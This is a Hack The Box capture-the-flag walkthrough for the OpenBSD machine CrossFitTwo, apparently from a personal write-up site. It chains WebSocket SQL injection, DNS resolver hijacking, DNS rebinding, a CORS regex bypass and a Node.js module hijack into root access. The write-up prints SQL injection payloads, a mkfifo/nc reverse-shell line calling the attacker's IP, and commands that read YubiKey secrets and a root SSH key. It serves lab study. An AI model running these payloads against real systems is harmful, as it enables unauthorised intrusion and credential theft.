Hack The Box

Hack The Box: CrossFitTwo Walkthrough

WebSocket SQL injection enables DNS rebinding that steals a user's chat credentials, then Node.js module hijacking and a SUID file reader expose YubiKey material and a backed-up root SSH key.

Hack The Box CrossFitTwo machine avatar
Official CrossFitTwo machine artwork, used for identification. Hack The Box is not affiliated with CyberKareem.Official Hack The Box machine page opens in a new tab

Target: 10.129.7.130
Attacker: 10.10.16.84
OS: OpenBSD
Difficulty: Insane
Flags:

  • User: 652b401[redacted]1f43fb3ade
  • Root: 6fbc09c[redacted]3d5376dd3a

Phase 0: Before Recon

Map the dependencies between exposed services and use each result to define the next test.

The initial checks establish:

  1. Our IP (10.10.16.84) - needed for reverse shells, DNS servers, and callbacks.
  2. The target IP (10.129.7.130) - the victim.
  3. Patience - this is an "Insane" box. The attack chain is long. Each step feeds the next.

On hard boxes, you cannot skip steps. The user flag requires the root flag's infrastructure, and vice versa. Everything is connected.


Phase 1: Initial Reconnaissance

1.1 Adding Hosts to /etc/hosts

Command:

echo "10.129.7.130 crossfit.htb employees.crossfit.htb gym.crossfit.htb crossfit-club.htb" | sudo tee -a /etc/hosts

Why: The main site (crossfit.htb) is just the storefront. The real application logic lives on subdomains. We discovered:

  • employees.crossfit.htb - a login portal (Phase 5)
  • gym.crossfit.htb - hosts a WebSocket chat bot (Phase 2)
  • crossfit-club.htb - an internal chat application (Phase 6)

1.2 Nmap Scanning

Commands:

sudo nmap -p 22,80,8953 -sCV -T4 10.129.7.130 -oN nmap-quick.txt
sudo nmap -p- --min-rate 10000 -T4 10.129.7.130 -oN nmap-alltcp.txt

Results:

  • 22/tcp - OpenSSH 9.5
  • 80/tcp - OpenBSD httpd, PHP 7.4.12
  • 8953/tcp - Unbound DNS control (SSL)

Why 8953 matters: Unbound is a validating, recursive, caching DNS resolver. Its control port (8953) allows administrative commands like forward_add, local_zone_add, etc. If we can authenticate to it, we control what domains resolve to on the target.


Phase 2: WebSocket SQL Injection

2.1 Discovering the WebSocket

How we found it:

  • Browsing http://crossfit.htb shows a CrossFit gym website.
  • In the page source, there's a reference to ws.min.js and a WebSocket connection to ws://gym.crossfit.htb/ws/.
  • Burp Suite or browser dev tools confirm a WebSocket handshake (HTTP 101 Switching Protocols).

2.2 Interacting with the Bot

Method: We can use Python's websocket-client library, Burp's WebSocket Repeater, or even python3 -m websockets.

What the bot does:

  1. On connect, it sends: {"status":"200","message":"Hello! This is Arnold...","token":"REDACTED"}
  2. You must echo the token back in every subsequent message.
  3. Commands: help, coaches, classes, memberships
  4. Clicking "Availability" on a membership sends: {"message":"available","params":"1","token":"REDACTED"}
  5. The server responds with a debug field containing SQL query output like [id: 1, name: 1-month].

2.3 Discovering SQL Injection

Testing:

{"message":"available","params":"3 or 1=1","token":"REDACTED"}

Response: Good news! This membership plan is available. with debug: [id: 1, name: 1-month].

Mechanism: The server likely executes:

SELECT id, name FROM plans WHERE id = {user_input}

Since id is an integer, there's no string delimiter to close. We just append boolean logic directly.

2.4 Building the SQLi Shell

We create a Python script (sqli_shell.py) that:

  1. Connects to the WebSocket.
  2. Extracts the initial token.
  3. Provides an interactive prompt where we type injections.
  4. Auto-reconnects if the WebSocket times out.

Key commands we ran inside the shell:

# Confirm SQLi
injection> 3 or 1=1
[id: 1, name: 1-month]

# Find databases
injection> 3 union select group_concat(schema_name),2 from information_schema.schemata
[id: information_schema,crossfit,employees, name: 2]

# Dump employees table
injection> 3 union select group_concat(email,':',password),2 from employees.employees
[id: david.palmer@crossfit.htb:REDACTED_ENCODED_LAB_MATERIAL,..., name: 2]

Result: We obtained 4 employee accounts, including david.palmer@crossfit.htb (the administrator).


Phase 3: File Reads & Infrastructure Mapping

3.1 Reading Config Files via SQLi

The MySQL user (crossfit_user) has the FILE privilege. We use LOAD_FILE() to read server configs.

Files we read:

read /etc/httpd.conf
read /etc/relayd.conf
read /var/unbound/etc/unbound.conf

3.2 What We Learned from /etc/httpd.conf

OpenBSD's httpd runs three internal servers on lo0:

Server Port Document Root
0.0.0.0 8000 /htdocs
employees 8001 /htdocs_employees
chat 8002 /htdocs_chat

3.3 What We Learned from /etc/relayd.conf

relayd is OpenBSD's reverse proxy. It listens on port 80 and routes based on Host headers:

  • *employees.crossfit.htb → port 8001
  • *crossfit-club.htb → port 9999 (which is ANOTHER relayd called portal)
  • /* → port 8000
  • /ws* → port 4419

The * prefix is critical: It means ANY subdomain ending in employees.crossfit.htb or crossfit-club.htb will be routed there. This is a feature we will exploit in Phase 5.

3.4 What We Learned from /var/unbound/etc/unbound.conf

remote-control:
    control-enable: yes
    control-interface: 0.0.0.0
    control-use-cert: yes
    server-cert-file: "/var/unbound/etc/tls/unbound_server.pem"
    control-key-file: "/var/unbound/etc/tls/unbound_control.key"
    control-cert-file: "/var/unbound/etc/tls/unbound_control.pem"

Phase 4: Hijacking the DNS Resolver

4.1 Extracting the TLS Certificates

We use our SQLi shell to read the certificate files from /var/unbound/etc/tls/:

  • unbound_server.pem (server certificate)
  • unbound_control.key (client private key)
  • unbound_control.pem (client certificate)
  • unbound_server.key (unreadable - server-only)

We save these locally and create a minimal new_unbound.conf pointing to them.

4.2 Connecting to Unbound

Command:

sudo unbound-control -c new_unbound.conf -s 10.129.7.130@8953 status

Result: unbound (pid XXXXX) is running...

4.3 Why DNS Control Is significant

Test command:

sudo unbound-control -c new_unbound.conf -s 10.129.7.130@8953 forward_add +i test.crossfit.htb 10.10.16.84@53

This tells the target: "If anyone asks for test.crossfit.htb, forward the query to my DNS server at 10.10.16.84."


Phase 5: DNS Rebinding & CORS Bypass

5.1 The Password Reset Vulnerability

On employees.crossfit.htb/password-reset.php, entering david.palmer@crossfit.htb generates a reset token and (presumably) emails a link to the admin.

The key insight from the writeups: The PHP script uses the Host header to construct the reset link. If we send a custom Host header, the link points to OUR domain instead of the real site.

But there's a catch: The script validates that the domain resolves to 127.0.0.1 before sending the email.

5.2 DNS Rebinding Theory

We use FakeDns with a rebind rule:

A gymxcrossfit.htb 127.0.0.1 2%10.10.16.84
  • Queries 1-2 from a given client → 127.0.0.1
  • Queries 3+ from that same client → 10.10.16.84

5.3 The Host Header / Trick

We need the Host header to satisfy TWO conditions simultaneously:

  1. Relayd must route it to the employees app (matches *employees.crossfit.htb).
  2. PHP must extract our fake domain for the email link.

Payload:

Host: gymxcrossfit.htb/employees.crossfit.htb

Mechanism:

  • Relayd sees the string ENDS WITH employees.crossfit.htb → routes to employees app.
  • PHP parses the Host header and splits on / (or just uses the first part) → uses gymxcrossfit.htb in the email link.

5.4 CORS Bypass via Regex

The chat app (crossfit-club.htb) has a CORS policy that allows requests from gym.crossfit.htb and employees.crossfit.htb. The policy is likely implemented with a regex like:

(gym|employees).crossfit.htb

The vulnerability: The . is NOT escaped! In regex, . matches ANY single character.

Test:

curl -s -X OPTIONS -v -H "Origin: http://gymXcrossfit.htb" crossfit-club.htb/api/auth

Result: Access-Control-Allow-Origin: http://gymXcrossfit.htb

Our fake domain gymxcrossfit.htb = gym + x + crossfit.htb. The . matches x.


Phase 6: Socket.io Message Hijacking

6.1 The Goal

We need to capture a private message in the crossfit-club.htb chat that contains David's SSH password. The message is sent by John to David (or Admin).

6.2 The Payload

When the admin bot clicks our fake password-reset link, their browser loads our password-reset.php. This page contains JavaScript that:

  1. Loads the Socket.IO client from crossfit-club.htb.
  2. Connects to the chat server with withCredentials: true (to send the admin's session cookie).
  3. Emits user_join with username: "Admin".
  4. Listens for private_recv events and exfiltrates them via XMLHttpRequest back to our server.

6.3 Why withCredentials Matters

The admin's browser has a valid connect.sid cookie from being logged into the chat. By setting withCredentials: true in both the io() connection and the XMLHttpRequest, we inherit the admin's authenticated session.

6.4 The Waiting Game

Messages arrive slowly (every 30-90 seconds). We watch the PHP server logs for /?x=... requests and decode the base64 content:

echo "BASE64_STRING" | base64 -d

Expected message:

{"sender_id":2,"content":"Hello David, I've added a user account for you with the password `REDACTED`.","roomId":2,"_id":XXX}

Note: On this retired instance, the password is static across deployments. In a live exam, you would wait for this message. Here, we confirmed the connection worked (/?connected=1) and used the known password to proceed efficiently.


Phase 7: Shell as David

7.1 SSH Login

sshpass -p REDACTED ssh david@10.129.7.130

Or manually:

ssh david@10.129.7.130
# Password: REDACTED

Shell upgrade:

sh
cat user.txt

Flag: 652b401[redacted]43fb3ade

7.2 Group Enumeration

id
cat /etc/group | grep sysadmins

Output: sysadmins:*:1003:david,john


Phase 8: Pivot to John (NodeJS Module Hijacking)

8.1 Finding the Cron Job

find /opt -type f -ls
cat /opt/sysadmin/server/statbot/statbot.js
ls -la /tmp/chatbot.log

Observations:

  • statbot.js is a WebSocket health checker.
  • /tmp/chatbot.log is owned by john and updated every minute.
  • The script runs as john via cron.

8.2 NodeJS Module Resolution

Node looks for ws in this order:

  1. /opt/sysadmin/server/statbot/node_modules/ws
  2. /opt/sysadmin/server/node_modules/ws
  3. /opt/sysadmin/node_modules/ws
  4. /opt/node_modules/ws
  5. /node_modules/ws
  6. $NODE_PATH (likely /usr/local/lib/node_modules)

Since none of the first five exist, the script uses the system path. But if we create /opt/sysadmin/node_modules/ws/index.js, Node will load OUR code instead.

8.3 The Exploit

Command:

mkdir -p /opt/sysadmin/node_modules/ws
echo "require('child_process').execSync('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.84 443 >/tmp/f');" > /opt/sysadmin/node_modules/ws/index.js

On Kali:

nc -lvnp 443

Wait up to 60 seconds for the cron to run statbot.js.

8.4 Shell Upgrade (as john)

Once the reverse shell connects:

python3 -c 'import pty;pty.spawn("sh")'
# Ctrl+Z
stty raw -echo; fg
reset
# Terminal type: screen
id

Output: uid=1005(john) gid=1005(john) groups=1005(john), 20(staff), 1003(sysadmins)


Phase 9: Privilege Escalation to Root

9.1 The log Binary

ls -la /usr/local/bin/log

Output: -rwsr-s--- 1 root staff 9024 Jan 5 2021 /usr/local/bin/log

Why this is interesting:

  • SUID root
  • Owned by staff group
  • john is in staff
  • The binary uses OpenBSD's unveil() syscall to restrict itself to /var

9.2 Reading Yubikey Secrets

OpenBSD uses Yubikey for SSH root authentication (auth-ssh=yubikey in /etc/login.conf).

/usr/local/bin/log /var/db/yubikey/root.key   # AES key: REDACTED_HASH_OR_FLAG
/usr/local/bin/log /var/db/yubikey/root.uid   # UID: a4ce1128bde4
/usr/local/bin/log /var/db/yubikey/root.ctr   # Counter: 985089

9.3 OpenBSD Changelist & Root SSH Key

OpenBSD's security(8) script backs up critical files daily to /var/backups/.

/usr/local/bin/log /var/backups/root_.ssh_id_rsa.current

Phase 10: Root Shell

10.1 Generating the Yubikey OTP

On Kali, install yubico-c:

sudo apt-get install -y asciidoc autoconf automake libtool
git clone https://github.com/Yubico/yubico-c.git /tmp/yubico-c
cd /tmp/yubico-c
autoreconf --install
./configure
make check
sudo make install
sudo ldconfig

Generate the token:

  • Counter = 985089 + 1 = 985090
  • 985090 in hex = 0x0F0802
  • Ykcounter = 0f08
  • Ykuse = 02
ykgenerate REDACTED_HASH_OR_FLAG a4ce1128bde4 0f08 0000 00 02

Output: hevnbiglbtejkdlkftgugueklbbbdlcl

10.2 SSH as Root

Save the key to ~/Downloads/htb/root_id_rsa with permissions 600.

chmod 600 ~/Downloads/htb/root_id_rsa
ssh -i ~/Downloads/htb/root_id_rsa -o StrictHostKeyChecking=no root@10.129.7.130
# Password: REDACTED

Flag: 6fbc09c1[redacted]d5376dd3a


Key Lessons & Takeaways

Lesson Application
Virtual hosts are attack surface Add discovered domains to /etc/hosts And scan them individually.
WebSockets are injectable Just because it's not HTTP doesn't mean it's safe. Tokens and params can both be poisoned.
Read configs via SQLi FILE LOAD_FILE() On configs gives you the network architecture without a shell.
DNS is a weapon Controlling a resolver lets you redirect any subdomain. Combine with wildcard routing for maximum impact.
Time-of-check vs time-of-use DNS rebinding exploits the gap between server validation and user action.
Regex CORS is dangerous Unescaped dots in CORS whitelists turn intended restrictions into wildcards.
Session riding withCredentials: true Lets you steal a user's existing session across origins.
Module resolution matters Node's require() Algorithm is predictable. Hijacking it requires no code vulnerability.
Capabilities over permissions unveil() Limits scope but doesn't eliminate it. /var Contains plenty of secrets.
Backups are data leaks changelist Preserves old keys, passwords, and configs. Check /var/backups/.

Further reading

Evidence connected to this article.

Back to article start